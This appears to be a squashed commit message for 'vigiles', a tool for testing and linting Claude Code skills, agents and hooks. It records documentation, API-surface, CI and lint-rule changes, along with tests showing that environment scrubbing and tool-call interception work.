- wshobson-accessibility: ~30% free / ~25% model-gated / ~45% R3 — C (worst case:
its semantics ARE the real browser; the free tier still catches
the inherits-all agent footgun)
The B+/B/C spread is the finding: where free/deterministic testing stops and the
model/container tiers take over. 1016 tests pass; R3/model-gated items written-up,
not run, by design. Linked from eval-coverage-and-isolation.md (Dogfood results).
* docs: record 2026-06-17 multi-SDK probe in sdk-harness-testing
Validate and sharpen the prior "don't retarget pillar 2" verdict with a
nine-SDK primary-source probe across six dimensions (mock-model /
tool-contract enforcement / assembled-as-shipped / trigger-rate /
sub-affordability / record-replay). The prior verdict holds for code-SDKs
(Pydantic/Vercel/LangGraph/LlamaIndex/Mastra ship first-party mocks), but
the probe relocates pillar-2 value to the Claude Agent SDK + Codex (no mock,
buggy/unenforced #172 tool contract, sub-affordability) and adds a concrete
mock-ergonomics borrow-list. Roadmap entry tightened to match.
* docs: make the two-axis coverage boundary explicit (public + internal)
The R1/R2/R3 rungs only answer "what does the test need from the outside
world" — they don't answer "who decides pass/fail", which is what makes a
prose skill look like a coverage hole when it isn't. Add the second
(oracle) axis everywhere the rungs appear:
- Define the `-MG` (model-gated) suffix the dogfood scorecards already use,
and place a prose/guidance skill explicitly at R1-MG (nothing executes,
but only a model judges its worth — fully testable on the sub, not free,
not uncovered).
- Add the three-bucket framing (A free & deterministic / B model-gated on
your sub / C needs-a-container, composed) and grade with two numbers
("% testable at all (free+sub)" vs "% needs-a-container").
- State that skill BEHAVIOR is tested (runEval A/B + judged), not just the
description firing (measureTriggerRate).
- Record that the sub-affordability story is ToS-clean (drive your own CLI
/ your own harness / your own sub; the Agent SDK ToS restricts
productizing claude.ai login, not running your own tests).
- Make the shipped test-harness skill coverage-aware (a Step 0.5 that
classifies each surface into the three buckets and sets honest per-bucket
expectations).
- Roadmap: add the 2026-06-17 multi-SDK mock-ergonomics borrow-list, linked
to sdk-harness-testing.md, marked recent/this-PR.
Covers CLAUDE.md(.spec.ts), README, docs/eval-architecture.md,
research/eval-coverage-and-isolation.md, research/roadmap.md,
skills/test-harness/SKILL.md.
* docs: flag open finding — behaviour testing is broader than A/B
Persist a conclusion raised this PR that lived only in chat: A/B
(runEval arms + assertSignificant) is the right oracle for relative
/regression/noise-floor questions, but testing an EXACT skill wants an
ABSOLUTE judged assertion, not a comparison to an OFF arm. The single-arm
absolute path already exists (measure + judged + assertRates,
skill-quality.eval.mjs); the open question is whether it is first-class and
discoverable or whether A/B is over-privileged in the API + README + the
test-harness skill. Recorded as testing-api-design Part 7 #7 + a roadmap
item for the next review session.
* docs(positioning): sharpen the pillar-2 wedge against SDK reality
The mock-model tier is table stakes (Pydantic/Vercel/LangGraph/LlamaIndex
all ship a first-party fake), so it is not the differentiator. Name the
three things no SDK mock does — testing the harness as it SHIPS, tool-contract
enforcement of the assembled agent (anchored on the live Claude Agent SDK
bug #172), and a sub-affordable real-model tier. Also reframe behaviour
testing as TWO oracles: the absolute single-arm measure()+judged() (the
default when there's no on/off baseline) alongside the relative runEval A/B.
* docs(testing): make the absolute behaviour oracle first-class for single skills
A/B (runEval + assertSignificant) was over-privileged across the README,
docs/harness-testing.md, and the test-harness skill, forcing 'test this one
skill behaves right' into a relative on/off mould. Lead instead with the
absolute oracle — measure({ checks: [judged(rubric)] }) + assertRates — which
needs no baseline and is what promptfoo/DeepEval lead with; reframe A/B as the
specialised relative/regression oracle. Resolves testing-api-design Part 7 #7
(docs/skill only, no code change).
* docs(testing): declare one canonical import per pillar
The docs taught granular concern-named paths (vigiles/run-hook, vigiles/eval,
vigiles/check) while the test-harness skill and README use the vigiles/testing
barrel — an inconsistent canonical-import story. Declare vigiles/testing and
vigiles/linting the canonical entry points (granular paths stay as stable
aliases) so new code has one obvious path.
* docs(safety): correct overclaimed default + macOS confinement status
The ephemeral run environment is shipped but OPT-IN (ephemeralEnv: true,
default off) — docs/safety.md read as if it were on by default for every run.
State the real status: default-off today, default-on is the committed next
step gated on validating the file-based OAuth copy path; the pure pieces and
scrubbed-env wiring are unit-tested. Also mark Seatbelt as macOS-planned (not
shipped) in the two mechanism tables, so 'Mac deny-all' no longer reads as a
working network wall.
* docs(roadmap): note per-check thresholds for assertRates
The absolute-oracle path (measure + assertRates) is now recommended for testing
one skill, but assertRates({ min }) applies one rate floor to all checks. Persist
the additive, non-breaking follow-up: let min accept a per-check mapping.
* docs: add subagent-model-note rule; promote macOS Seatbelt to Now/P1
- New guidance rule: when launching a subagent, state which model was chosen
and why, in one line, at launch — visibility into the cost/capability tradeoff.
- Promote the cross-platform (Seatbelt) confinement backend from Next to Now/P1
per maintainer request; note there's no Mac to validate it on, so it needs a
macOS CI runner or a Mac-having contributor.
* refactor!: make the agnostic surface truly harness-agnostic, enforced by eslint
vigiles/testing and vigiles/integration re-exported Claude-Code transport
(scriptModel, claudeCodeDriver, buildClaudeArgs, parseClaudeRun, claudeAvailable,
loadPlugin, resolveHarness) via blanket `export *`s — so the 'agnostic' barrels
weren't actually agnostic. The directory-based boundary lint missed it because
src/mock-model.ts (the Anthropic-Messages mock) lives at the composition root,
not under src/adapters/.
- testing.ts / integration.ts: re-export ONLY the agnostic harness-test names;
CC transport now comes from vigiles/claude-code.
- eslint: classify src/mock-model.ts as part of the cc-harness element, so the
existing agnostic-surface boundary rule forbids any agnostic barrel from
re-exporting it (verified: reintroducing the leak now errors).
- claude-code.ts: expose claudeCodeDriver + argv/parse helpers + claudeAvailable
(beside the Codex driver in vigiles/codex), preserving access off the agnostic
surface.
BREAKING: scriptModel/loadPlugin/claudeCodeDriver no longer importable from
vigiles/testing or vigiles/integration; import them from vigiles/claude-code.
* refactor!: trim package.json exports to a canonical public surface
Dropped 12 internal/redundant module subpaths that were each fully re-exported
by a concern-named barrel: ./compile ./linters ./eval ./harness-test
./harness-assert ./run-hook ./check ./judge ./mock-model ./plugin-loader ./mcp
./tool-stub. The package's `exports` map IS the access wall (Node throws
ERR_PACKAGE_PATH_NOT_EXPORTED; TS honors it under node16/bundler), so these are
now genuinely internal.
Canonical surface (12): . and ./spec (authoring + the module-augmentation
target), ./linting, ./testing, ./unit ./integration ./e2e (tiers),
./claude-code ./codex ./adapter (harness), ./vitest ./jest (runners).
./linting now also re-exports the linter engine (was ./linters).
BREAKING: the dropped subpaths no longer resolve — import via the canonical
barrel (vigiles/testing, vigiles/linting, vigiles/claude-code).
* docs: update Key Files descriptions for the trimmed public surface
vigiles/plugin-loader and vigiles/check are no longer standalone subpaths;
loadPlugin is on vigiles/claude-code and the check vocabulary on vigiles/testing.
* docs: sweep imports onto the canonical public surface
The trimmed exports removed the granular module subpaths, so rewrite every
doc/skill import to the canonical barrel: vigiles/{eval,run-hook,harness-test,
harness-assert,check,judge,tool-stub} → vigiles/testing, vigiles/{compile,linters}
→ vigiles/linting, vigiles/{plugin-loader,mock-model} → vigiles/claude-code.
CC-specific transport (scriptModel, loadPlugin) is split out of mixed imports
into a vigiles/claude-code line. Also corrected the two now-false 'granular paths
keep working' claims (only vigiles/spec remains besides the barrels).
* build: add API Extractor surface gate + API Documenter reference
Lock the public API surface so it can't silently regrow (the dual of the eslint
agnostic-surface rule, at the .d.ts level). scripts/api-extractor.mjs runs API
Extractor over all 11 public entry points and writes a committed report per entry
(etc/*.api.md) — the surface contract. CI (`node scripts/api-extractor.mjs` in
the check job) fails on any drift; `npm run api:report` regenerates after an
intentional change. The reports prove the de-leak: vigiles-testing.api.md has zero
CC symbols, vigiles-claude-code.api.md has them.
`npm run docs:api` runs API Documenter over the doc models to generate a
cross-linked Markdown API reference (api-reference/, gitignored — a derived
artifact, not committed). Narrative guides stay hand-authored.
Adds @microsoft/api-extractor + @microsoft/api-documenter as devDependencies.
* docs(roadmap): track moving the CC mock + driver into the adapter dir
The glob-classification of src/mock-model.ts as cc-harness enforces the agnostic
boundary today; the structural end-state is to relocate it (and claudeCodeDriver)
under src/adapters/claude-code/ so the boundary is directory-based, mirroring the
Codex adapter.
* ci: smoke-check the API reference generator (no publish)
Run API Documenter in the check job, reusing the doc models the surface gate
already wrote to temp/, so npm run docs:api can't silently break. Output
(api-reference/) is gitignored and not published — there's no docs site yet;
upgrade this to a Pages deploy when one lands.
* test(safety): prove ephemeralEnv actually scrubs — real-subprocess test
The one line that enforces ephemeral scrubbing (env: replaceEnv ? scrubbed :
merge) lived inside the v8-ignored real-spawn path, so a regression to an
always-merge would silently defeat ephemerality with no test catching it.
Extract it to a tested seam resolveSpawnEnv() and pin it two ways: a pure test
of the replace-vs-overlay decision, and a behavioural test that spawns a REAL
node child with the scrubbed env and asserts a planted secret is gone, HOME is
the throwaway dir, and the real ~/.ssh is unreachable. Deterministic, no model.
Updates the vigiles-testing API report for the new resolveSpawnEnv export.
* feat(testing): per-check rate thresholds in assertRates
The absolute-oracle path (measure({ checks }) + assertRates) is the recommended
way to test one skill, but assertRates({ min }) applied a single floor to every
check — you couldn't gate 'skill fires every trial AND judged >= 0.8' in one
call. Add an optional per (by check kind) override: assertRates(report, { min,
per: { skill: 1.0 } }); the failure message now reports each check's own min.
Additive + non-breaking. Updates the vigiles-testing API report.
* feat(testing): thread per-check thresholds through checkReportToJUnit
assertRates gained a per-check-kind threshold override but checkReportToJUnit
still took a single min, so the strict gate and the JUnit report could disagree
about which checks failed. Extract one shared checkRateThreshold() helper used by
both; checkReportToJUnit now accepts the same { min, per }. Updates the report.
* test(safety): prove interceptTools actually PREVENTS, end-to-end
The pure decision (decideIntercept/interceptHookDecision) was tested, but the
rail's whole point — the real `vigiles intercept-tool-hook` CLI, wired as a
PreToolUse hook, BLOCKING a matched call before it runs — was never exercised.
A regression in the subcommand's env-read or deny format would pass every pure
test. Drive the real built CLI through runHook (no model) and assert a matched
`git push` is blocked while a non-matching command and an un-intercepted tool
run. Deterministic; skips loudly if dist/ isn't built.
* fix(testing): guard two silent-green footguns in measure/assertRates
Both are the 'passes green while testing nothing' anti-pattern the no-silent-skips
rule forbids:
- assertRates on an empty report (measure with no checks) vacuously passed — now
throws, pointing at the likely empty checks list.
- stubSkillBodies + a judged check: stubbing replaces the skill body with a no-op,
so judged graded empty output (docs warned, nothing enforced) — now throws,
telling you to drop one. Adds tests for both.
* feat(cli): per-line GitHub annotations for broken doc refs
The dogfooded GitHub Action surfaces lint findings inline on the PR diff via
::error file=,line=:: workflow annotations. The inline/frontmatter/spec checks
already annotated per-line, but the markdown code-block ref check reported to
stdout only — so a broken enforce()/file()/cmd() in a doc never showed up
inline on the PR, only in the summary blob. Emit a per-line annotation for each
docRefReport error (it carries file+line). CI-only; skipped under --json/--summary.
Adds a hermetic test.
* ci: run the dogfooded vigiles Action as the primary lint gate
Move the composite Action (uses: ./) ahead of the redundant direct `node
dist/cli.js lint` in the check job, so a lint failure surfaces THROUGH the
shipped Action — its per-line annotations (inline on the PR diff) and sticky
PR comment — rather than a bare CLI step failing first and skipping it. The
direct CLI call stays as a redundant safety net. Aligns with prod-grade-gha-cli
(the Action is how CI runs for users).
* test(DEMO): deliberate broken doc ref to exercise the GHA per-line annotation
NOT FOR MERGE — a broken file() ref in docs/cli.md so the dogfooded Action
fails and leaves a per-line ::error annotation inline on the PR diff plus a
sticky comment. Revert this commit once the GHA behavior is confirmed.
* Revert "test(DEMO): deliberate broken doc ref to exercise the GHA per-line annotation"
This reverts commit 204497f0e6.
* refactor(lint): deprecate require-skill-spec (default off), lean on untested-surface
Requiring a .spec.ts per SKILL.md was the wrong constraint: skills are
legitimately hand-written (the Level-0/1 on-ramp), so the rule only added noise —
it nagged about hand-authored, vendored, fixture, and bench skills alike (~24
warnings in this repo, all non-gating). The constraint that actually matters —
'every skill/agent/hook ships with a test or eval' — is already the
untested-surface rule.
- DEFAULT_RULES: require-skill-spec → false (was warn); aligns with its own
documented default and the @deprecated type comment.
- --strict no longer promotes it (tightens only require-spec).
- Removed from this repo's .vigilesrc.json.
- Implementation KEPT — set it explicitly to re-enable (e.g. skills with
file()/cmd() refs).
- Docs: deprecation banner + untested-surface cross-links; updated tests.
* fix(lint): untested-surface fires on all skills/agents — drop the invocation-mode exemption
The filter silently exempted command-only (disable-model-invocation) skills from
the test requirement, on the reasoning that a *trigger* eval is meaningless for
them. But a command-only skill still DOES something when invoked, and that
behaviour is worth a test — so the exemption was wrong (and inconsistent: agents
were never exempt). Now every skill, agent, and hook is held to the requirement;
the ONLY opt-out is an explicit vigiles:ignore-test marker, which is reported as
`exempt` so the skip is visible, never silent.
- test-coverage.ts: drop the userInvoked filter + the isUserInvoked helper; the
Surface gains an `ignored` flag (set by vigiles:ignore-test) so the explicit
opt-out is counted, not dropped at discovery.
- Remove the now-meaningless includeUserInvokedSkills option (TestCoverageOptions
+ TestCoverageConfig).
- Docs + tests + spec descriptions updated.
Surfaces the one real gap it was hiding: skills/migrate-to-spec now flags as
untested (linter-docs is content-referenced by skills-dogfood.test.ts).
* refactor!: split untested-surface into per-kind untested-skill/agent/hook rules
A skill, an agent, and a hook are tested in different ways (a skill's 'does the
description fire?', an agent's tool-contract/outcome, a hook's block/allow), so
one umbrella rule conflated them. Replace untested-surface with three parallel,
independently-configurable rules — untested-skill, untested-agent, untested-hook
— each gated by its own severity (set one to false to skip that kind). The
detector (findUntestedSurfaces) is unchanged; the CLI now gates per kind.
BREAKING: the untested-surface config key is removed. Use untested-skill /
untested-agent / untested-hook (all default 'warn', same as before). The
TestCoverageConfig skills/agents/hooks toggles are gone (a kind is toggled by
setting its rule to false); testGlobs/exclude remain, shared across the three.
- types.ts: RulesConfig keys; TestCoverageConfig trimmed.
- validate.ts DEFAULT_RULES: the three keys.
- cli.ts checkUntestedSurfaces: per-kind severity + gating; fix an unrelated
no-deprecated eslint error on the intentional require-skill-spec read.
- Docs: untested-surface.md split into three rule docs; all links updated.
- .vigilesrc.json: drop the explicit key (defaults apply).
---------
Co-authored-by: Claude <noreply@anthropic.com>
zernie